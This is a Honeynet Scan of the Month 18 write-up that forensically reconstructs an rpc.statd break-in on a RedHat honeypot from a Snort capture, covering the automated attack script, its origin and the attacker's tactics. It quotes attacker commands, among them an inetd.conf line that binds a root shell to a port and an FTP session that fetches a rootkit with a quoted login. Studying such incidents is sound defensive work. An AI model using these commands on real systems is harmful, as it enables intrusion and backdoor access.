Home > Online Security > The Challenge

Honeynet.org Scan of the Month Challenge – Scan 18

Submitted by: Christopher Lee < complexity@bigfoot.com >

The Challenge:

The Scan of the Month for Scan 15 was to recover a deleted rootkit. Since then, people have asked us a variety of questions about the attack, such as how did the attackers get in, who were they, and where did they come from. Instead of us presenting the answers, we challenge you to determine the answers yourself. You are presented with the binary snort capture for the day of March 15. Armed with this log file, and the knowledge that the system in question is 172.16.1.108, you should be able to answer the following. (Note, the Honeynet Project has been quoted as saying "The expected life expectancy of a default RedHat 6.2 server is less then 72 hours. The last time we attempted to confirm that the system was compromised in less then 8 hours". This is the system that was compromised in under 8 hours.

1.      The attackers used rpc.statd attack to get into the system. What modifications did they make to the break in process to both automate and make the process faster?

Quoting from the CIAC advisory number K-069, rpc.statd attack is described as follows: "The rpc.statd passes user-supplied data and without validation of this data, a user may supply machine code to be executed with the privileges of the rpc.statd process".  This vulnerability allows the intruder to gain access to the vulnerable host with root level access (e.g. inset the line "9704 stream tcp nowait root /bin/sh sh -i" to the inetd.conf file and restart the inetd process).

To understand what this cracker did, I first ran Ethereal on the snort log file and filtered the display to show only the traffic to and from the Linux host in question here (i.e. 172.16.1.108).  The first two entries were someone scanning for rpc-portmaper service and lpr service, but it appeared the Linux host were not yet in production (since no reply were seen from the Linux host itself).  At 12:34:07, the third entry took place.  But this was simply the Linux host performing a WHOIS query on shell-station.com.

The next sequence of conversation took place at 20:21:23.  This time, someone from 211.185.125.124 is probing on TCP port 111 (portmapper)…  Right after the probing, an rpc.statd buffer-overflow attack was launched against the portmapper service.  What this attacker then did on this host has been recorded into this file.  To help understand all the events took place during this attack, I also compiled this timeline of events for your reference (this timeline also included events I observed from analysing the network capture with a different filter, as stated in a later paragraph).

By examining the timestamps on the next few packets, I noticed the following:

1. The "RPC GETPORT" query was made at 20:21:24 & its reply was sent at 20:21:25.

2. The same attacks were launched at 20:21:25, 20:21:27 & 20:21:29.

3. The subsequent connection to this Linux host was made at 20:21:36, and at this very second, the cracker also issued the command “cd /; uname -a; id;”

4. After 12 minutes of inactivity, at 20:36:04, the cracker issued the command "ftp -v ftp.home.ro".  4 seconds later (at 20:36:08), the cracker entered the login "soane" and the FTP client prompted for the password immediately.  Another 4 seconds later (at 20:36:12), the cracker enter the password "i2ttgcj1d".  3 seconds later (at 20:36:15), the cracker issued the command "get lk.tgz".  The file transfer ended at 20:36:57, and the FTP connection was timed out at 20:40:55.  4 minutes later (at 20:44:51), the cracker closed his FTP session by issuing the "bye" command, and in 8 seconds (at 20:44:59), he/she proceeded to un-tar the lk.tgz.  8 seconds after the file was decompressed (at 20:45:08), the cracker then proceed to change into the "last" directory and execute the "./install" command 3 second thereafter (at 20:45:02).  After that, the connection to this Linux honeypot host was terminated 3 seconds after the script displayed its final output of "* That Was Nice Last" (at 20:45:14).

Observation #2 is interesting.  Why would this cracker launch the very same attack three times in a row, and most importantly, with exactly two seconds between them??  Further, the buffer-overflow attacks were initiated at the very second the "RPC GETPORT Reply" were sent.  The only logical conclusion I could come up with is that all activities recorded in observation #1 & #2 were scripted/automated.

I resisted the temptation to conclude observation #3 being part of the same script that automated the activities in observation #1 & #2, since there were 7 seconds between them.  However, due to the fact that the command were issue at the very second the connection was established, I do suspect the existence of a second script that establish the TCP connection on port 39168 and the execution of the aforementioned command.

Based on the delay between each command/action in observation #4, I could say with a fair degree of certainty that all these actions were carried out interactively by the cracker.  And he probably didn't expect the file transfer to complete as quickly as it did (as demonstrated by the fact that he didn't return to the terminal window until nearly 5 minutes later, when the file was transferred 4 minutes ago).

Now, to further understand what this intruder was doing, I re-filtered the snort network capture with the IP address of the host 211.185.125.124.  Now, this is what I summarized from the network capture:

1. At 20:21:23, the host 211.185.125.124 performed a SYN scan on TCP port 111 of all hosts in this honeynet, and both 172.16.1.103 and 172.16.1.108 responded with a SYN-ACK.

2. At 20:21:24, the host 211.185.125.124 performed a sequence of a "RPC GETPORT Call" followed by the actual buffer-overflow attack first to 172.16.1.103 and then 172.16.1.108 (at 20:21:25).  Judging from the response of both hosts, the host 172.16.1.103 (this is probably a Solaris machine as its RPC portmapper is running on UDP port 32773) seemed to be immune from this attack (as it actually able to respond that mal-formed request) while the host 172.16.1.108 seemed to be affected by it.

3. At 20:21:26, the host 211.185.125.124 performed yet another SYN scan on TCP port 111, but this time, only those hosts that didn't respond previously were scanned.

4. At 20:21:29, to ensure the host 172.16.1.108 was indeed vulnerable, the host 211.185.125.124 launched two more attacks identical to the one launched at 20:21:25.

5. At 20:21:32, the host 211.185.125.124 performed an identical SYN scan as one launched at 20:21:26.

6. At 20:21:36, this is when the cracker launched the actual TCP connection to port 39168 and execute the commands that facilitated the rest of his attack on this Linux host.

Combining the above 6 observations with the 4 observed previously, I conclude the following:

1. This cracker's script utilizes the following logic:

   1. SYN-scan all potential targets on port 111 and do the following to all hosts that sent back a SYN-ACK: 

      1. Issue a "RPC GETPORT" command to locate the port when the portmapper is.  

      2. Then launched the actual buffer-overflow attack to the portmapper service.

   2. Wait 3 seconds (to provide sufficient time for the SYN-ACK packets) and SYN-scan those hosts that didn't respond to the first scan.

   3. Wait 3 seconds and launch a couple more buffer-overflow attacks with a 2 second interval to the host(s) that seemed vulnerable initially.  This is done to make sure this host is indeed vulnerable.

   4. Wait 3 more seconds

   5. Another SYN-scan on TCP port 111 to those hosts that didn't respond to the previous scans.

   6. Wait 4 seconds this time.

   7. Give up waiting, proceed to get onto the host(s) that is vulnerable to the attack.

   8. SYN-scan on TCP port 111 to those hosts that didn't respond to the previous scan(s).

   9. Wait 2 minutes and repeat step 8 for another 5 times.

2. There is probably only one script, after all.  As this very script was just busy doing bunch of double-checking during that 7 seconds.

Therefore, the cracker did the following to both automate and expedite the break-in process:

• Using a script/program to probe and launch the attack.  This script/program also establish the connection to the TCP port listener created as the result of the attack and execute the command "cd /; uname -a; id;".

2.      What system/country did the badguys come in from?

According the snort capture, the attack originated from 211.185.125.124, which belong to the IP block registered by the Kyongsan Purim Elementary School of South Korea.  This is as shown in the WHOIS output attached.

3.      What nationality are the badguys, and how were you able to determine this?

 Well, even though the attack was originated from South Korea, I was not fully convinced that’s where the bad guy is… 

 A few questions were raised in my mind:

1. Could this be the work of a student in this elementary school??

 It would be extremely rare to find a grade-schooler capable of carrying out such task… Perhaps someone else coached him/her??

2. Could this be the work of a staff working in this school??

 And it would be silly for anyone to try to pull this one off from his workplace…  Possible, however unlikely…

3. Perhaps an outsider who had access to a machine in the school??

Most probable thus far, and perhaps this is the work of an intruder from cyberspace??

4. Why is this cracker downloading his/her rootkit from ftp.home.ro (a FTP server operated by an ISP from Romania)??

 Two emails were sent as part of the install script, this could be ultimate clue as to where the cracker is from…  The emails were sent to bidi_damm@yahoo.com & last@linuxmail.org.  Both are free web-based email service, and neither provided any sort of directory of its members...  Oh, boy, this is a dead end unless I have access to the access log of this two mail service providers...  :-(

5. What is the language being used in the installation script??

The common guess here would be Romanian, but I want to be sure…  However, I could not locate any “free” online translation services that would translate Romanian to English…   Mmm…   Let’s try another approach…  I took the phrase “Luam Informatiile dorite” (without the quotes) and search it in Google.com (thinking that I should be able to determine the origin of the language by looking at the origins of site containing this phrase). 

Surprise, surprise…  This phrase is Romanian in origin, as most sites returned by the search engine registered under the .ro domain.  However, I also picked up other postings on some mailing list documenting their own accounts of being attacked by a “foreign” rootkit.  Upon further reading of those posting, I realized that the rootkit(s) used in those other incidents were identical to one captured here, with the email address being the only difference.

Now, the above finding leads me to believe that while the rootkit appeared to be Romanian in origin, it might have been “customized” by others for their own enjoyments...  However, I failed to locate any evidence of such rootkit dated before March 15th of 2001, so these variants could be the result of some "advanced" script kiddies who got their hands on this rootkit later on... 

 Now, based on the fact that the rootkit was stored on a Romanian FTP server and its content were Romanian in nature, it is probably safe to say this attack was either carried out or masterminded by a Romanian cracker.

4.      What do the answers to questions #1 and #2 tell us about the tactics the badguys are using?

By using a script to automate the recon of the potential target of attack, launch the attack and establish a connection to the vulnerable host, the cracker minimizes the time he/she spends.  By launching the attack from a third host, this cracker further prevented the exposure of his/her identity.

By having the install script of the rootkit to send the configuration of the exploited host to two web-based email addresses (for which you don't have to supply your real-identity for), the cracker provided itself a reliable method of obtaining the "system configuration of interest" without exposing his/her identity.  The install script completed the installation process by removing all the evidence of its existence and leaves behind only the planted trojans. This further ensure the cracker's activity stayed in stealth.

Further, since computers in elementary schools are probably not configured for comprehensive/remote logging, this cracker could probably wipe clean all its finger prints and foot prints on that computer and leave the investigator and/or the sysadmin very little clue as to what really happened.  This could, after all, be the primary reason this computer was chosen as the launchpad of the cracker's other attacks.

If this cracker is any good, I bet the login "soane" on ftp.home.ro is probably something that doesn't belong to him/her, either...

The tactics I see the cracker employed here are to minimize the chance of detection to his/her activities and to limit the investigators' ability to identify the cracker's identity.

5.      What did you learn from this challenge?

From preparing the answer for question 1-3, I learned:

• Smart/careful crackers will take a few minutes to automate its recon and possibly the attack sequence.  They will also take the time to find an ill-protected host to use as its launchpad for attacks to other "potentially" better-protected hosts.

From reading the install script used by this cracker, I noticed this cracker is only interested in the CPU and disk usage information (apart from the IP address and the hostname).  This makes me wonder if the motive behind its attacks were simply to locate machines with sufficient processing power and disk storage...  If so, perhaps this machine was being attacked to help the cracker to win some data-processing project of some sort on the Internet??  And this is yet another thing I learned:

• While some crackers crack for the money (i.e. Industrial Espionage), most crackers do what they do for kicks, bragging rights and/or recognition of its peer.

6.      How long did this challenge take you?

Ran the Snort network capture filtered for traffic to and from the host 172.16.1.108 and completed the analysis of this data.  This took me about an hour.

Attempted to answer the first question and ran into more questions of my own.  Decided to run the Snort network capture filtered for traffic to and from the host 211.185.125.124 and completed the analysis of this data.  This took me about another hour.

Spent another half an hour to complete the answer for the first question.

Answered the second question and did some research before I could answer the third question.  This took me yet another half an hour.

Answered the fourth and the fifth questions, this took me yet another half an hour.

Answered the bonus question, this took me only 5 minutes.  :-)

Spent yet another 90 minutes or so reviewing the write-up, formatting it and convert all the attachments to HTML format.

In total, I spent about 5 hours on this challenge.

Bonus Question:

Can you recover the blackhat's rootkit from the Snort binary log file? If so, how?

Yep, the recovery of the blackhat's rootkit is possible with the use of network traffic sniffers like Ethereal.  First load the Snort binary log file into Ethereal, then locate one of the packets in the FTP-DATA steam of the rootkit's (lk.tgz) download, right click on that packet and select "Follow TCP Stream", and a new Ethereal window will open with the content of this rootkit in it.  Then click on "Save As" to save the data in the window into a file.

Appendix:

Transcript of the hack, as captured by the Snort binary log.

The Timeline of the events took place during the hack, as captured by the Snort binary log.

WHOIS output of the IP address 211.185.125.124, as supplied by KRNIC.

Transcript of the email delivery to bidi_damm@yahoo.com, as captured by the Snort binary log.

Transcript of the email delivery attempt to last@linuxmail.org, as captured by the Snort binary log.

The "install" script used and executed by the cracker, as recovered from the rootkit "lk.tgz".

References:

Snort Home Page: http://www.snort.org

Ethereal Home Page: http://www.ethereal.com

The Security Advisory for Input Validation Problem in rpc.statd: http://www.ciac.org/ciac/bulletins/k-069.shtml

Multiple Linux Vendor rpc.statd Remote Format String Vulnerability: http://www.securityfocus.com/bid/1480

Privacy Policy | Terms of Service
© 1999 - 2008, MultiMedia SRL
Send articles and materials to be published on this website to: Publishing
If you see unauthorized or illegal materials on this website, please send an e-mail to: Abuse